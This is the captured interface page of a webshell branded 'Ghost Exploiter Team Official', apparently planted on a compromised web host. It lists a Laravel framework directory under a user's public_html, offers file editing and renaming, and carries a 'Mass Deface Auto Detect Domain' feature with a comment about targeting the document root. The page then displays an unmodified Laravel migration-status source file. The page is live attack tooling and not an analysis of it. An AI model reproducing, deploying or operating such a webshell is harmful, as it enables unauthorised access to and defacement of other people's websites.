webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Database
/
Console
/
Migrations
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
BaseCommand.php
1.416KB
edt
ren
FreshCommand.php
3.699KB
edt
ren
InstallCommand.php
1.551KB
edt
ren
MigrateCommand.php
9.267KB
edt
ren
MigrateMakeCommand.php
4.372KB
edt
ren
RefreshCommand.php
4.797KB
edt
ren
ResetCommand.php
2.488KB
edt
ren
RollbackCommand.php
2.509KB
edt
ren
StatusCommand.php
4.038KB
edt
ren
TableGuesser.php
0.886KB
edt
ren
<?php namespace Illuminate\Database\Console\Migrations; use Illuminate\Database\Migrations\Migrator; use Illuminate\Support\Collection; use Symfony\Component\Console\Input\InputOption; class StatusCommand extends BaseCommand { /** * The console command name. * * @var string */ protected $name = 'migrate:status'; /** * The console command description. * * @var string */ protected $description = 'Show the status of each migration'; /** * The migrator instance. * * @var \Illuminate\Database\Migrations\Migrator */ protected $migrator; /** * Create a new migration rollback command instance. * * @param \Illuminate\Database\Migrations\Migrator $migrator * @return void */ public function __construct(Migrator $migrator) { parent::__construct(); $this->migrator = $migrator; } /** * Execute the console command. * * @return int|null */ public function handle() { return $this->migrator->usingConnection($this->option('database'), function () { if (! $this->migrator->repositoryExists()) { $this->components->error('Migration table not found.'); return 1; } $ran = $this->migrator->getRepository()->getRan(); $batches = $this->migrator->getRepository()->getMigrationBatches(); $migrations = $this->getStatusFor($ran, $batches) ->when($this->option('pending'), fn ($collection) => $collection->filter(function ($migration) { return str($migration[1])->contains('Pending'); })); if (count($migrations) > 0) { $this->newLine(); $this->components->twoColumnDetail('<fg=gray>Migration name</>', '<fg=gray>Batch / Status</>'); $migrations ->each( fn ($migration) => $this->components->twoColumnDetail($migration[0], $migration[1]) ); $this->newLine(); } elseif ($this->option('pending')) { $this->components->info('No pending migrations'); } else { $this->components->info('No migrations found'); } }); } /** * Get the status for the given run migrations. * * @param array $ran * @param array $batches * @return \Illuminate\Support\Collection */ protected function getStatusFor(array $ran, array $batches) { return Collection::make($this->getAllMigrationFiles()) ->map(function ($migration) use ($ran, $batches) { $migrationName = $this->migrator->getMigrationName($migration); $status = in_array($migrationName, $ran) ? '<fg=green;options=bold>Ran</>' : '<fg=yellow;options=bold>Pending</>'; if (in_array($migrationName, $ran)) { $status = '['.$batches[$migrationName].'] '.$status; } return [$migrationName, $status]; }); } /** * Get an array of all of the migration files. * * @return array */ protected function getAllMigrationFiles() { return $this->migrator->getMigrationFiles($this->getMigrationPaths()); } /** * Get the console command options. * * @return array */ protected function getOptions() { return [ ['database', null, InputOption::VALUE_OPTIONAL, 'The database connection to use'], ['pending', null, InputOption::VALUE_NONE, 'Only list pending migrations'], ['path', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'The path(s) to the migrations files to use'], ['realpath', null, InputOption::VALUE_NONE, 'Indicate any provided migration file paths are pre-resolved absolute paths'], ]; } }
<=Back
Liking